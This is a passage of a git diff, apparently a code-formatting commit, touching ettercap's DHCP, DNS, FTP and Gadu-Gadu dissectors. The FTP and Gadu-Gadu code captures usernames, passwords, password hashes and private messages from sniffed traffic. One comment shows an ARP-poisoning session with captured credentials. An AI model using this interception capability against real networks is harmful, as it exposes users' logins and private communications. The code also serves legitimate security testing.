get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end) if (*ptr == opt) return ptr + 1; - /* + /* * move thru options : * * OPT LEN .. .. .. OPT LEN .. .. */ ptr = ptr + 2 + (*(ptr + 1)); - } while (ptr < end && *ptr != DHCP_OPT_END); - + return NULL; } /* - * put an option into the buffer, the ptr will be + * put an option into the buffer, the ptr will be * move after the options just inserted. */ void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr) { u_int8 *p = *ptr; - + /* the options type */ *p++ = opt; /* the len of the option */ @@ -333,7 +325,6 @@ void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr) *ptr = p; } - /* * create a fake packet object to feed the profile_parse function */ @@ -342,15 +333,15 @@ static void dhcp_add_profile(struct ip_addr *sa, size_t flag) struct packet_object po; DEBUG_MSG("dhcp_add_profile"); - + /* wipe the object */ memset(&po, 0, sizeof(struct packet_object)); - + memcpy(&po.L3.src, sa, sizeof(struct ip_addr)); /* this is a ludicrious(tm) lie ! * in order to add the host to the profiles we pretend - * to have seen an icmp from it + * to have seen an icmp from it */ po.L4.proto = NL_TYPE_ICMP; po.PASSIVE.flags = flag; @@ -360,8 +351,6 @@ static void dhcp_add_profile(struct ip_addr *sa, size_t flag) hook_point(HOOK_PROTO_DHCP_PROFILE, &po); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_dns.c b/src/dissectors/ec_dns.c index b6b3148d7..c472df00a 100644 --- a/src/dissectors/ec_dns.c +++ b/src/dissectors/ec_dns.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector DNS -- UDP 53 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector DNS -- UDP 53 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -42,31 +42,30 @@ * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ */ - struct dns_header { u_int16 id; /* DNS packet ID */ #ifdef WORDS_BIGENDIAN - u_char qr: 1; /* response flag */ - u_char opcode: 4; /* purpose of message */ - u_char aa: 1; /* authoritative answer */ - u_char tc: 1; /* truncated message */ - u_char rd: 1; /* recursion desired */ - u_char ra: 1; /* recursion available */ - u_char unused: 1; /* unused bits */ - u_char ad: 1; /* authentic data from named */ - u_char cd: 1; /* checking disabled by resolver */ - u_char rcode: 4; /* response code */ + u_char qr : 1; /* response flag */ + u_char opcode : 4; /* purpose of message */ + u_char aa : 1; /* authoritative answer */ + u_char tc : 1; /* truncated message */ + u_char rd : 1; /* recursion desired */ + u_char ra : 1; /* recursion available */ + u_char unused : 1; /* unused bits */ + u_char ad : 1; /* authentic data from named */ + u_char cd : 1; /* checking disabled by resolver */ + u_char rcode : 4; /* response code */ #else /* WORDS_LITTLEENDIAN */ - u_char rd: 1; /* recursion desired */ - u_char tc: 1; /* truncated message */ - u_char aa: 1; /* authoritative answer */ - u_char opcode: 4; /* purpose of message */ - u_char qr: 1; /* response flag */ - u_char rcode: 4; /* response code */ - u_char cd: 1; /* checking disabled by resolver */ - u_char ad: 1; /* authentic data from named */ - u_char unused: 1; /* unused bits */ - u_char ra: 1; /* recursion available */ + u_char rd : 1; /* recursion desired */ + u_char tc : 1; /* truncated message */ + u_char aa : 1; /* authoritative answer */ + u_char opcode : 4; /* purpose of message */ + u_char qr : 1; /* response flag */ + u_char rcode : 4; /* response code */ + u_char cd : 1; /* checking disabled by resolver */ + u_char ad : 1; /* authentic data from named */ + u_char unused : 1; /* unused bits */ + u_char ra : 1; /* recursion available */ #endif u_int16 num_q; /* Number of questions */ u_int16 num_answer; /* Number of answer resource records */ @@ -74,7 +73,6 @@ struct dns_header { u_int16 num_res; /* Number of additional resource records */ }; - #define DNS_HEADER_LEN 0xc /* 12 bytes */ /* protos */ @@ -94,7 +92,6 @@ void __init dns_init(void) dissect_add("dns", APP_LAYER_UDP, 53, dissector_dns); } - FUNC_DECODER(dissector_dns) { struct dns_header *dns; @@ -106,30 +103,30 @@ FUNC_DECODER(dissector_dns) int32 ttl; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - (void) ttl; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + (void)ttl; + DEBUG_MSG("DNS --> UDP 53 dissector_dns"); - + dns = (struct dns_header *)po->DATA.data; data = (u_char *)(dns + 1); end = (u_char *)dns + po->DATA.len; - + /* initialize the name */ memset(name, 0, sizeof(name)); memset(alias, 0, sizeof(alias)); - + /* extract the name from the packet */ name_len = dn_expand((u_char *)dns, end, data, name, sizeof(name)); - + /* thre was an error */ if (name_len < 0) return NULL; q = data + name_len; - + /* get the type and class */ NS_GET16(type, q); NS_GET16(class, q); @@ -140,21 +137,21 @@ FUNC_DECODER(dissector_dns) /* HOOK POINT: HOOK_PROTO_DNS */ hook_point(HOOK_PROTO_DNS, PACKET); - + /* this is a DNS answer */ if (dns->qr && dns->rcode == ns_r_noerror && htons(dns->num_answer) > 0) { - + for (i = 0; i <= ntohs(dns->num_answer); i++) { - - /* - * decode the answer + + /* + * decode the answer * keep the name separated from aliases... */ if (i == 0) name_len = dn_expand((u_char *)dns, end, q, name, sizeof(name)); - else + else name_len = dn_expand((u_char *)dns, end, q, alias, sizeof(alias)); - + /* thre was an error */ if (name_len < 0) return NULL; @@ -166,51 +163,50 @@ FUNC_DECODER(dissector_dns) NS_GET16(class, q); NS_GET32(ttl, q); NS_GET16(a_len, q); - + /* only internet class */ if (class != ns_c_in) return NULL; - + /* alias */ if (type == ns_t_cname || type == ns_t_ptr) { name_len = dn_expand((u_char *)dns, end, q, alias, sizeof(alias)); q += a_len; - } - + } + /* name to ip */ if (type == ns_t_a) { int32 addr; struct ip_addr ip; char aip[MAX_ASCII_ADDR_LEN]; - + /* get the address */ NS_GET32(addr, q); /* convert to network order */ addr = htonl(addr); ip_addr_init(&ip, AF_INET, (u_char *)&addr); - + /* insert the answer in the resolv cache */ resolv_cache_insert_passive(&ip, name); /* display the user message */ ip_addr_ntoa(&ip, aip); - - //DISSECT_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); + + // DISSECT_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); DEBUG_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); - } - else if (type == ns_t_aaaa) { + } else if (type == ns_t_aaaa) { u_int16 addr[8]; struct ip_addr ip; char aip[MAX_ASCII_ADDR_LEN]; int i = 0; /* IPv6 address - get the bytes in reverse order*/ - for (i=0; i<8; i++) { + for (i = 0; i < 8; i++) { NS_GET16(addr[i], q); addr[i] = htons(addr[i]); } - ip_addr_init(&ip, AF_INET6, (u_char*)&addr); + ip_addr_init(&ip, AF_INET6, (u_char *)&addr); /* insert the answer in the resolv cache */ resolv_cache_insert_passive(&ip, name); @@ -219,18 +215,15 @@ FUNC_DECODER(dissector_dns) ip_addr_ntoa(&ip, aip); /* display the user message */ - //DISSECT_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); + // DISSECT_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); DEBUG_MSG("DNS: %s ->> %s ->> %s\n", name, alias, aip); - } } } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_ftp.c b/src/dissectors/ec_ftp.c index c9058082e..faaf54d39 100644 --- a/src/dissectors/ec_ftp.c +++ b/src/dissectors/ec_ftp.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector FTP -- TCP 21 990 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector FTP -- TCP 21 990 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -51,101 +51,100 @@ FUNC_DECODER(dissector_ftp) char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("ftp", s, dissector_ftp); - + /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER("ftp", s, ident, dissector_ftp) { - + DEBUG_MSG("\tdissector_ftp BANNER"); /* - * get the banner + * get the banner * ptr + 4 to skip the initial 220 response */ - if (!strncmp((const char*)ptr, "220", 3)) { - PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); - + if (!strncmp((const char *)ptr, "220", 3)) { + PACKET->DISSECTOR.banner = strdup((const char *)ptr + 4); + /* remove the \r\n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL) *ptr = '\0'; } - } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + /* skip messages coming from the server */ if (FROM_SERVER("ftp", PACKET)) return NULL; - + DEBUG_MSG("FTP --> TCP dissector_ftp"); - + /* skip the whitespaces at the beginning */ - while(*ptr == ' ' && ptr != end) ptr++; - + while (*ptr == ' ' && ptr != end) ptr++; + /* reached the end */ - if (ptr == end) + if (ptr == end) return NULL; - + /* harvest the username */ - if ( !strncasecmp((const char*)ptr, "USER ", 5) ) { + if (!strncasecmp((const char *)ptr, "USER ", 5)) { DEBUG_MSG("\tDissector_FTP USER"); - + /* create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_ftp)); - + ptr += 5; /* if not null, free it */ SAFE_FREE(s->data); /* fill the session data */ - s->data = strdup((const char*)ptr); - s->data_len = strlen((const char*)ptr); - - if ( (ptr = (u_char*)strchr(s->data,'\r')) != NULL ) + s->data = strdup((const char *)ptr); + s->data_len = strlen((const char *)ptr); + + if ((ptr = (u_char *)strchr(s->data, '\r')) != NULL) *ptr = '\0'; - + /* save the session */ session_put(s); - + return NULL; } /* harvest the password */ - if ( !strncasecmp((const char*)ptr, "PASS ", 5) ) { + if (!strncasecmp((const char *)ptr, "PASS ", 5)) { DEBUG_MSG("\tDissector_FTP PASS"); - + ptr += 5; - + /* create an ident to retrieve the session */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_ftp)); - + /* retrieve the session and delete it */ if (session_get_and_del(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } - + /* check that the user was sent before the pass */ if (s->data == NULL) { SAFE_FREE(ident); return NULL; } - + /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data); - - PACKET->DISSECTOR.pass = strdup((const char*)ptr); - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) + + PACKET->DISSECTOR.pass = strdup((const char *)ptr); + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL) *ptr = '\0'; /* free the session */ @@ -153,19 +152,16 @@ FUNC_DECODER(dissector_ftp) SAFE_FREE(ident); DISSECT_MSG("FTP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); - return NULL; } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_gg.c b/src/dissectors/ec_gg.c index 96658943b..b18fdde6e 100644 --- a/src/dissectors/ec_gg.c +++ b/src/dissectors/ec_gg.c @@ -1,147 +1,147 @@ /* - ettercap -- dissector gadu-gadu -- TCP 8074 (alternatively 443) - - Copyright (C) Michal Szymanski - gg: 7244283 - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector gadu-gadu -- TCP 8074 (alternatively 443) + * + * Copyright (C) Michal Szymanski + * gg: 7244283 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ /* - -ABOUT: - -ettercap-gg is a Gadu-Gadu IM ettercap dissector. - -It is a patch for ettercap sniffer that adds the ability to intercept Gadu-Gadu logins, passwords and messages. - -Gadu-Gadu (http://www.gadu-gadu.pl/) is the most widely used IM network in Poland with ~6mln users. - -Protocol description taken from http://ekg.chmurka.net/docs/protocol.html + own research (7.x). - -The newest version can be found at http://ettercap-gg.sourceforge.net/ - -FEATURES: - -- supports following gadu-gadu protocols: 4.x, 5.x, 6.x, 7.x -- intercepts sent/received messages -- intercepts gg numbers, password hashes and seeds (can be bruteforced by ggbrute) -- intercepts status descriptions -- notifies about status changes -- intercepts gg server/client ip addresses -- intercepts gg user's local/remote ip addresses -- intercepts gg connections to port 8074 and 443 -- determines Gadu-Gadu version - -INSTALLATION & CONFIGURATION: - -Apply Gadu-Gadu dissector patch and compile ettercap as you used to do before: - -patch -p0 < ettercap-NG-0.7.3-gg_dissector_02.patch -./configure -make -make install - -Normally Gadu-Gadu dissector is installed on port number 8074 (appropriate entry is added to etter.conf file). If you want to enable dissector to -intercept traffic on port 443 just turn off https dissector (there can be only one dissector on the same port at the same time) by editing etter.conf -file and changing following line: - -https = 443 # tcp 443 - -to - -https = 0 # tcp 443 - -After that all you need to do is to add 443 port to gg dissector: - -gg = 8074,443 # tcp 8074 - -That's all. Play wisely. - -*/ + * + * ABOUT: + * + * ettercap-gg is a Gadu-Gadu IM ettercap dissector. + * + * It is a patch for ettercap sniffer that adds the ability to intercept Gadu-Gadu logins, passwords and messages. + * + * Gadu-Gadu (http://www.gadu-gadu.pl/) is the most widely used IM network in Poland with ~6mln users. + * + * Protocol description taken from http://ekg.chmurka.net/docs/protocol.html + own research (7.x). + * + * The newest version can be found at http://ettercap-gg.sourceforge.net/ + * + * FEATURES: + * + * - supports following gadu-gadu protocols: 4.x, 5.x, 6.x, 7.x + * - intercepts sent/received messages + * - intercepts gg numbers, password hashes and seeds (can be bruteforced by ggbrute) + * - intercepts status descriptions + * - notifies about status changes + * - intercepts gg server/client ip addresses + * - intercepts gg user's local/remote ip addresses + * - intercepts gg connections to port 8074 and 443 + * - determines Gadu-Gadu version + * + * INSTALLATION & CONFIGURATION: + * + * Apply Gadu-Gadu dissector patch and compile ettercap as you used to do before: + * + * patch -p0 < ettercap-NG-0.7.3-gg_dissector_02.patch + * ./configure + * make + * make install + * + * Normally Gadu-Gadu dissector is installed on port number 8074 (appropriate entry is added to etter.conf file). If you want to enable dissector to + * intercept traffic on port 443 just turn off https dissector (there can be only one dissector on the same port at the same time) by editing etter.conf + * file and changing following line: + * + * https = 443 # tcp 443 + * + * to + * + * https = 0 # tcp 443 + * + * After that all you need to do is to add 443 port to gg dissector: + * + * gg = 8074,443 # tcp 8074 + * + * That's all. Play wisely. + * + */ /* - -EXAMPLE SESSION (with GG_CONTACTS_STATUS_CHANGES enabled) - version 0.2: - -ARP poisoning victims: - - GROUP 1 : 10.10.10.11 00:01:20:02:34:21 - - GROUP 2 : 10.10.10.1 00:0A:84:D8:28:F5 - -Starting Unified sniffing... - -Text only Interface activated... -Hit 'h' for inline help - -GG : 217.17.45.143:443 -> 10.10.10.11:1696 - WELCOME SEED: 0xAD130562 (2903704930) -GG7 : 10.10.10.11:1696 -> 217.17.45.143:443 - LOGIN UIN: 5114529 PWD_HASH: 0x21D13E38992A341DD33BB52DDFA2382A173A5361 STATUS: (invisible + private) VERSION: 7.7 LIP: 10.10.10.11:1550 RIP: 0.0.0.0:0 -GG : 10.10.10.11:1706 -> 217.17.45.143:443 - SEND_MSG RECIPIENT: 7244283 MESSAGE: "wiadomosc testowa" -GG : 217.17.45.143:443 -> 10.10.10.11:1706 - RECV_MSG SENDER: 7244283 MESSAGE: "dzieki za wiadomosc" -GG7 : 217.17.45.143:443 -> 10.10.10.11:1706 - STATUS CHANGED UIN: 7244283 STATUS: a swistak siedzi i zawija (busy + descr) VERSION: 7.6 RIP: 207.46.19.190:1550 - -GG : 217.17.41.85:8074 -> 10.10.10.11:1685 - WELCOME SEED: 0x1D66B45F (493270111) -GG4/5 : 10.10.10.11:1685 -> 217.17.41.85:8074 - LOGIN UIN: 5114529 PWD_HASH: 0x1B85493D (461719869) STATUS: zaraz weekend (invisible + descr + private) VERSION: 4.8 + has audio LIP: 10.10.10.11:1550 -GG : 217.17.41.85:8074 -> 10.10.10.11:1685 - STATUS CHANGED UIN: 2688291 STATUS: i co ja bede robil przez te 4 dni ... (not available + descr) -GG : 10.10.10.11:1685 -> 217.17.41.85:8074 - NEW STATUS STATUS: goraaaaaaaaaaaaaco!!!!!!!!! (busy + descr + private) - -*/ + * + * EXAMPLE SESSION (with GG_CONTACTS_STATUS_CHANGES enabled) - version 0.2: + * + * ARP poisoning victims: + * + * GROUP 1 : 10.10.10.11 00:01:20:02:34:21 + * + * GROUP 2 : 10.10.10.1 00:0A:84:D8:28:F5 + * + * Starting Unified sniffing... + * + * Text only Interface activated... + * Hit 'h' for inline help + * + * GG : 217.17.45.143:443 -> 10.10.10.11:1696 - WELCOME SEED: 0xAD130562 (2903704930) + * GG7 : 10.10.10.11:1696 -> 217.17.45.143:443 - LOGIN UIN: 5114529 PWD_HASH: 0x21D13E38992A341DD33BB52DDFA2382A173A5361 STATUS: (invisible + private) VERSION: 7.7 LIP: 10.10.10.11:1550 RIP: 0.0.0.0:0 + * GG : 10.10.10.11:1706 -> 217.17.45.143:443 - SEND_MSG RECIPIENT: 7244283 MESSAGE: "wiadomosc testowa" + * GG : 217.17.45.143:443 -> 10.10.10.11:1706 - RECV_MSG SENDER: 7244283 MESSAGE: "dzieki za wiadomosc" + * GG7 : 217.17.45.143:443 -> 10.10.10.11:1706 - STATUS CHANGED UIN: 7244283 STATUS: a swistak siedzi i zawija (busy + descr) VERSION: 7.6 RIP: 207.46.19.190:1550 + * + * GG : 217.17.41.85:8074 -> 10.10.10.11:1685 - WELCOME SEED: 0x1D66B45F (493270111) + * GG4/5 : 10.10.10.11:1685 -> 217.17.41.85:8074 - LOGIN UIN: 5114529 PWD_HASH: 0x1B85493D (461719869) STATUS: zaraz weekend (invisible + descr + private) VERSION: 4.8 + has audio LIP: 10.10.10.11:1550 + * GG : 217.17.41.85:8074 -> 10.10.10.11:1685 - STATUS CHANGED UIN: 2688291 STATUS: i co ja bede robil przez te 4 dni ... (not available + descr) + * GG : 10.10.10.11:1685 -> 217.17.41.85:8074 - NEW STATUS STATUS: goraaaaaaaaaaaaaco!!!!!!!!! (busy + descr + private) + * + */ /* - -CHANGELOG: - -v0.2: - -- added interception of sent/received messages -- added interception of status descriptions -- added notification about status changes -- added interception of gg server/client ip addresses -- added interception of gg user's local/remote ip addresses -- added determination of Gadu-Gadu version -- tiny bugfixes - -v0.1 (initial release): - -- added support for following gadu-gadu protocols: 4.x, 5.x, 6.x, 7.x -- added interception of gg numbers, password hashes and seeds -- added interception of gg connections to port 8074 and 443 - -*/ + * + * CHANGELOG: + * + * v0.2: + * + * - added interception of sent/received messages + * - added interception of status descriptions + * - added notification about status changes + * - added interception of gg server/client ip addresses + * - added interception of gg user's local/remote ip addresses + * - added determination of Gadu-Gadu version + * - tiny bugfixes + * + * v0.1 (initial release): + * + * - added support for following gadu-gadu protocols: 4.x, 5.x, 6.x, 7.x + * - added interception of gg numbers, password hashes and seeds + * - added interception of gg connections to port 8074 and 443 + * + */ /* - -TODO: - -- wpkontakt support (sessions management needed) -- std_gg/kadu/ekg/wpkontakt fingerprinting (additional research needed) -- sms sniffing? (already implemented through http dissector) -- nat detection - -*/ + * + * TODO: + * + * - wpkontakt support (sessions management needed) + * - std_gg/kadu/ekg/wpkontakt fingerprinting (additional research needed) + * - sms sniffing? (already implemented through http dissector) + * - nat detection + * + */ /* CONFIGURATION */ -/* -uncomment #define below if you want to see all contacts status changes - be careful using this option in really big networks - it could mess up your whole screen ! -*/ /* -#define GG_CONTACTS_STATUS_CHANGES 1 -*/ + * uncomment #define below if you want to see all contacts status changes - be careful using this option in really big networks - it could mess up your whole screen ! + */ +/* + #define GG_CONTACTS_STATUS_CHANGES 1 + */ #include #include @@ -149,20 +149,20 @@ uncomment #define below if you want to see all contacts status changes - be care /* globals */ -#define GG_LOGIN50_CMD 0x0000000c -#define GG_LOGIN60_CMD 0x00000015 -#define GG_LOGIN70_CMD 0x00000019 +#define GG_LOGIN50_CMD 0x0000000c +#define GG_LOGIN60_CMD 0x00000015 +#define GG_LOGIN70_CMD 0x00000019 -#define GG_WELCOME_CMD 0x00000001 +#define GG_WELCOME_CMD 0x00000001 -#define GG_SEND_MSG_CMD 0x0000000b -#define GG_RECV_MSG_CMD 0x0000000a +#define GG_SEND_MSG_CMD 0x0000000b +#define GG_RECV_MSG_CMD 0x0000000a #define GG_NEW_STATUS_CMD 0x00000002 #define GG_STATUS_CMD 0x00000002 -#define GG_STATUS50_CMD 0x0000000c +#define GG_STATUS50_CMD 0x0000000c #define GG_STATUS60_CMD 0x0000000f #define GG_STATUS70_CMD 0x00000017 @@ -176,57 +176,57 @@ struct gg_welcome_hdr { }; struct gg_login50_hdr { - u_int32 uin; - u_int32 hash; - u_int32 status; - u_int32 version; - u_int8 local_ip[4]; + u_int32 uin; + u_int32 hash; + u_int32 status; + u_int32 version; + u_int8 local_ip[4]; u_int16 local_port; char description[71]; /* 70+1 (0x0) */ u_int32 time; -}__attribute__ ((packed)); +} __attribute__ ((packed)); struct gg_login60_hdr { - u_int32 uin; - u_int32 hash; - u_int32 status; - u_int32 version; + u_int32 uin; + u_int32 hash; + u_int32 status; + u_int32 version; u_int8 unknown1; /* 0x00 */ - u_int8 local_ip[4]; + u_int8 local_ip[4]; u_int16 local_port; - u_int8 remote_ip[4]; + u_int8 remote_ip[4]; u_int16 remote_port; u_int8 image_size; u_int8 unknown2; /* 0xbe */ char description[71]; /* 70+1 (0x0) */ u_int32 time; -}__attribute__ ((packed)); +} __attribute__ ((packed)); struct gg_login70_hdr { - u_int32 uin; + u_int32 uin; u_int8 unknown1; /* 0x02 */ - u_int32 hash[5]; /* 160b */ + u_int32 hash[5]; /* 160b */ u_int32 unknown2[11]; /* 0x00, 352b */ - u_int32 status; - u_int16 version; + u_int32 status; + u_int16 version; u_int16 unknown3; /* 0xc202 */ u_int8 unknown4; /* 0x00 */ - u_int8 local_ip[4]; + u_int8 local_ip[4]; u_int16 local_port; - u_int8 remote_ip[4]; + u_int8 remote_ip[4]; u_int16 remote_port; u_int8 image_size; u_int8 unknown5; /* 0xbe */ char description[71]; /* 70+1 (0x0) */ u_int32 time; -}__attribute__ ((packed)); +} __attribute__ ((packed)); struct gg_send_msg_hdr { u_int32 recipient; u_int32 seq; u_int32 class; char message[2000]; -}__attribute__ ((packed)); +} __attribute__ ((packed)); struct gg_recv_msg_hdr { u_int32 sender; @@ -234,7 +234,7 @@ struct gg_recv_msg_hdr { u_int32 time; u_int32 class; char message[2000]; -}__attribute__ ((packed)); +} __attribute__ ((packed)); struct gg_new_status_hdr { u_int32 status; @@ -250,40 +250,40 @@ struct gg_status_hdr { }; struct gg_status50_hdr { - u_int32 uin; - u_int32 status; - u_int8 remote_ip[4]; + u_int32 uin; + u_int32 status; + u_int8 remote_ip[4]; u_int16 remote_port; - u_int32 version; + u_int32 version; u_int16 unknown1; /* remote port again? */ char description[71]; /* 70+1 (0x0) */ u_int32 time; -}__attribute__ ((packed)); +} __attribute__ ((packed)); struct gg_status60_hdr { u_int32 uin; u_int8 status; - u_int8 remote_ip[4]; + u_int8 remote_ip[4]; u_int16 remote_port; - u_int8 version; + u_int8 version; u_int8 image_size; u_int8 unknown1; /* 0x00 */ char description[71]; /* 70+1 (0x0) */ u_int32 time; -}__attribute__ ((packed));; +} __attribute__ ((packed)); struct gg_status70_hdr { u_int32 uin; u_int8 status; - u_int8 remote_ip[4]; + u_int8 remote_ip[4]; u_int16 remote_port; - u_int8 version; + u_int8 version; u_int8 image_size; u_int8 unknown1; /* 0x00 */ u_int32 unknown2; /* 0x00 */ char description[71]; /* 70+1 (0x0) */ u_int32 time; -}__attribute__ ((packed));; +} __attribute__ ((packed)); /* protos */ @@ -323,14 +323,14 @@ FUNC_DECODER(dissector_gg) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + /* cast the gg header */ gg = (struct gg_hdr *)ptr; gg_login50 = (struct gg_login50_hdr *)(gg + 1); @@ -346,7 +346,7 @@ FUNC_DECODER(dissector_gg) return NULL; /* skip incorrect Gadu-Gadu packets */ - if ((gg->len) != ((PACKET->DATA.len)-8)) + if ((gg->len) != ((PACKET->DATA.len) - 8)) return NULL; DEBUG_MSG("Gadu-Gadu --> TCP dissector_gg (%.8X:%.8X)", gg->type, gg->len); @@ -354,330 +354,322 @@ FUNC_DECODER(dissector_gg) SAFE_CALLOC(tbuf, 50, sizeof(char)); SAFE_CALLOC(tbuf2, 71, sizeof(char)); SAFE_CALLOC(tbuf3, 30, sizeof(char)); - -if ((gg->type == GG_LOGIN50_CMD) && !FROM_SERVER("gg", PACKET)) { - gg_get_status(gg_login50->status,tbuf); - gg_get_version(gg_login50->version,tbuf3); - if ((int)gg->len-22 < 0) - return NULL; - strncpy(tbuf2,gg_login50->description, (gg->len)-22); - tbuf2[(gg->len)-22]='\0'; - sprintf(user,"%u",gg_login50->uin); - PACKET->DISSECTOR.user = strdup(user); - sprintf(pass,"%u",gg_login50->hash); - PACKET->DISSECTOR.pass = strdup(pass); - DISSECT_MSG("GG4/5 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X (%u) STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - ip_addr_ntoa(&PACKET->L3.dst, tmp2), - ntohs(PACKET->L4.dst), - gg_login50->uin, - gg_login50->hash, gg_login50->hash, - tbuf2, tbuf, - tbuf3, - gg_login50->local_ip[0], gg_login50->local_ip[1], gg_login50->local_ip[2], gg_login50->local_ip[3], - gg_login50->local_port); -} -else if (gg->type == GG_LOGIN60_CMD) { - gg_get_status(gg_login60->status,tbuf); - gg_get_version(gg_login60->version,tbuf3); - if ((int)gg->len-31 < 0) - return NULL; - strncpy(tbuf2,gg_login60->description, (gg->len)-31); - tbuf2[(gg->len)-31]='\0'; - sprintf(user,"%u",gg_login60->uin); - PACKET->DISSECTOR.user = strdup(user); - sprintf(pass,"%u",gg_login60->hash); - PACKET->DISSECTOR.pass = strdup(pass); - DISSECT_MSG("GG6 : %s:%d -> %s:%d - LOGIN UIN: %u PWD_HASH: 0x%.8X (%u) STATUS: %s (%s) VERSION: %s LIP: %u.%u.%u.%u:%u RIP: %u.%u.%u.%u:%u\n", ip_addr_ntoa(&PACKET->L3.src, tmp), - ntohs(PACKET->L4.src), - 